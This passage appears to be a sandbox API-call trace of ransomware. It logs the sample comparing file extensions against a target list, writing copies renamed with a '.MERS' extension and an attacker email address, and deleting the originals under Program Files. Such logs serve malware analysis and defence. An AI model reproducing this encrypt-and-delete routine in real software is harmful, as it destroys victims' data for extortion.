shared\\ink\\en-us\\join.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.437] lstrlenW (lpString=".doc") returned 4 [0258.437] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.437] lstrlenW (lpString=".docx") returned 5 [0258.437] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0258.437] lstrlenW (lpString=".pdf") returned 4 [0258.437] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.437] lstrlenW (lpString=".xls") returned 4 [0258.437] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.437] lstrlenW (lpString=".xlsx") returned 5 [0258.437] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0258.437] lstrlenW (lpString=".ppt") returned 4 [0258.437] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.437] lstrlenW (lpString=".zip") returned 4 [0258.437] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".rar") returned 4 [0258.438] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".bz2") returned 4 [0258.438] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".7z") returned 3 [0258.438] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString=".dbf") returned 4 [0258.438] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString=".1cd") returned 4 [0258.438] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString=".jpg") returned 4 [0258.438] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString=".doc") returned 4 [0258.438] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".docx") returned 5 [0258.438] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0258.438] lstrlenW (lpString=".pdf") returned 4 [0258.438] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".xls") returned 4 [0258.438] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".xlsx") returned 5 [0258.438] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0258.438] lstrlenW (lpString=".ppt") returned 4 [0258.438] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.438] lstrlenW (lpString=".zip") returned 4 [0258.438] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".rar") returned 4 [0258.438] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.438] lstrlenW (lpString=".bz2") returned 4 [0258.438] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.439] lstrlenW (lpString=".7z") returned 3 [0258.439] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.439] lstrlenW (lpString=".dbf") returned 4 [0258.439] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.439] lstrlenW (lpString=".1cd") returned 4 [0258.439] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0258.439] lstrlenW (lpString=".jpg") returned 4 [0258.439] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.439] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.439] lstrlenW (lpString="split.avi") returned 9 [0258.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.439] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=194048) returned 1 [0258.439] CloseHandle (hObject=0x2ec) returned 1 [0258.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0258.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.439] lstrlenW (lpString=".doc") returned 4 [0258.439] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".docx") returned 5 [0258.440] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.440] lstrlenW (lpString=".pdf") returned 4 [0258.440] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".xls") returned 4 [0258.440] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".xlsx") returned 5 [0258.440] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.440] lstrlenW (lpString=".ppt") returned 4 [0258.440] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString=".zip") returned 4 [0258.440] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".rar") returned 4 [0258.440] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".bz2") returned 4 [0258.440] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".7z") returned 3 [0258.440] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString=".dbf") returned 4 [0258.440] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString=".1cd") returned 4 [0258.440] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString=".jpg") returned 4 [0258.440] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.440] lstrlenW (lpString=".doc") returned 4 [0258.440] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.440] lstrlenW (lpString=".docx") returned 5 [0258.440] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.440] lstrlenW (lpString=".pdf") returned 4 [0258.441] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString=".xls") returned 4 [0258.441] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString=".xlsx") returned 5 [0258.441] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.441] lstrlenW (lpString=".ppt") returned 4 [0258.441] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.441] lstrlenW (lpString=".zip") returned 4 [0258.441] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString=".rar") returned 4 [0258.441] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString=".bz2") returned 4 [0258.441] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString=".7z") returned 3 [0258.441] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.441] lstrlenW (lpString=".dbf") returned 4 [0258.441] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.441] lstrlenW (lpString=".1cd") returned 4 [0258.441] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0258.441] lstrlenW (lpString=".jpg") returned 4 [0258.441] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.441] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.441] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0258.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.442] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=1600388) returned 1 [0258.442] CloseHandle (hObject=0x2ec) returned 1 [0258.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0258.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0258.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0258.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0258.442] lstrlenW (lpString=".doc") returned 4 [0258.442] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".docx") returned 5 [0258.442] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0258.442] lstrlenW (lpString=".pdf") returned 4 [0258.442] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".xls") returned 4 [0258.442] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".xlsx") returned 5 [0258.442] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0258.442] lstrlenW (lpString=".ppt") returned 4 [0258.442] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0258.442] lstrlenW (lpString=".zip") returned 4 [0258.442] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".rar") returned 4 [0258.442] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".bz2") returned 4 [0258.442] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.442] lstrlenW (lpString=".7z") returned 3 [0258.442] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0258.442] lstrlenW (lpString=".dbf") returned 4 [0258.442] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.464] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0259.837] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.837] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0260.316] GetLastError () returned 0x0 [0260.316] ReadFile (in: hFile=0x398, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x4932, lpOverlapped=0x0) returned 1 [0260.369] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0260.370] ReadFile (in: hFile=0x398, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.370] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0260.370] SetEndOfFile (hFile=0x3b0) returned 1 [0260.370] CloseHandle (hObject=0x3b0) returned 1 [0260.370] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.370] SetEndOfFile (hFile=0x398) returned 1 [0260.372] CloseHandle (hObject=0x398) returned 1 [0260.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0260.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.373] lstrlenW (lpString=".doc") returned 4 [0260.373] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.373] lstrlenW (lpString=".docx") returned 5 [0260.373] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.373] lstrlenW (lpString=".pdf") returned 4 [0260.374] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString=".xls") returned 4 [0260.374] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString=".xlsx") returned 5 [0260.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.374] lstrlenW (lpString=".ppt") returned 4 [0260.374] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString=".zip") returned 4 [0260.374] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.374] lstrlenW (lpString=".rar") returned 4 [0260.374] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString=".bz2") returned 4 [0260.374] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString=".7z") returned 3 [0260.374] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString=".dbf") returned 4 [0260.374] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString=".1cd") returned 4 [0260.374] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString=".jpg") returned 4 [0260.374] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.374] lstrlenW (lpString=".doc") returned 4 [0260.374] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.374] lstrlenW (lpString=".docx") returned 5 [0260.374] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0260.374] lstrlenW (lpString=".pdf") returned 4 [0260.375] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString=".xls") returned 4 [0260.375] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString=".xlsx") returned 5 [0260.375] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0260.375] lstrlenW (lpString=".ppt") returned 4 [0260.375] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.375] lstrlenW (lpString=".zip") returned 4 [0260.375] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.375] lstrlenW (lpString=".rar") returned 4 [0260.375] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString=".bz2") returned 4 [0260.375] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString=".7z") returned 3 [0260.375] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.375] lstrlenW (lpString=".dbf") returned 4 [0260.375] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.375] lstrlenW (lpString=".1cd") returned 4 [0260.375] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0260.375] lstrlenW (lpString=".jpg") returned 4 [0260.375] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.375] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0260.375] lstrlenW (lpString="AG00004_.GIF") returned 12 [0260.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.877] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=9024) returned 1 [0260.877] CloseHandle (hObject=0x3a0) returned 1 [0260.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0260.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.915] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.915] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0261.009] GetLastError () returned 0x0 [0261.009] ReadFile (in: hFile=0x3a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x2340, lpOverlapped=0x0) returned 1 [0261.154] WriteFile (in: hFile=0x338, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0261.155] ReadFile (in: hFile=0x3a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.155] WriteFile (in: hFile=0x338, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.155] SetEndOfFile (hFile=0x338) returned 1 [0261.155] CloseHandle (hObject=0x338) returned 1 [0261.155] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.155] SetEndOfFile (hFile=0x3a4) returned 1 [0261.190] CloseHandle (hObject=0x3a4) returned 1 [0261.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString=".doc") returned 4 [0261.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.224] lstrlenW (lpString=".docx") returned 5 [0261.224] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.224] lstrlenW (lpString=".pdf") returned 4 [0261.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.224] lstrlenW (lpString=".xls") returned 4 [0261.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.224] lstrlenW (lpString=".xlsx") returned 5 [0261.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.224] lstrlenW (lpString=".ppt") returned 4 [0261.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString=".zip") returned 4 [0261.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.224] lstrlenW (lpString=".rar") returned 4 [0261.224] lstrcmpiW (lpString1=".rar", 